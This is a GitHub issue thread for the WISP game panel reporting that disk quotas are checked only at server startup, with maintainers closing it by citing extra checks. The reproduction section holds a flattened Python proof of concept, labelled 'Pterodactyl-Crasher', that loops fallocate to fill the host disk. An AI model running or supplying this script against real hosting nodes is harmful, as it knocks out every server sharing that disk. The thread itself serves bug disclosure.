Closed ItzPabz closed 2 months ago
Luckily with WISP there are multiple extra checks that Pterodactyl does not have for disk space. While unfortunately this will always be an issue for any gamepanel since there are not separate physical disks per server WISP has the least likely chance of a script like this working due to the extra checks.
Going to actually close this, I brought it up to viction and he assured me there are more checks than even Pterodactyl has currently for this issue. If a realistic scenario where this issue starts affecting server occurs we'll take a deeper dive into it.
Describe the bug
While I'm not the original creator of this bug, some users in Discord noted a while ago that Disk Usage is only checked on startup, which means someone can intentionally fill up your SSD with useless shit if they want; see below for example.
While I'm sure this is a Pterodactyl issue and not a WISP issue, the fact that hosts using WISP may provide Python bot usage using the python-generic egg may be an issue that could fill up a whole node.
Expected Behavior
The expected behavior is that WISP/Pterodactyl should somewhat frequently check the Disk Usage post-startup, wither at some interval or when the server exceeds the limit set.
Actual Behavior
The script is free to run and fill the SSD with whatever the script wants.
Steps to Reproduce
megabytes = 0 curr = 0
def allocate_space(): global megabytes, curr while True: try: target = f".__tmp{uuid.uuid4()}" subprocess.run(["fallocate", "-l", "1G", target], check=True) curr += 1 megabytes += 1 except subprocess.CalledProcessError as e: print("Нету места на хосте, ") break except Exception as e: pass
def display_status(): global megabytes, curr displays = 0 try: while True: sleep(0.1) displays += 1 print(f"Закачал всего [ {megabytes} ГБ ] со скоростью [ {curr} Гб/с ]") if displays % 10 == 0: curr = 0 except Exception as e: print(e)
def main(): print("github.com/xdearboy/Pterodactyl-Crasher \n\nPterodactyl-Crasher") print("Режим: забивка всей памяти") print("Подготовка..")
if name == "main": main()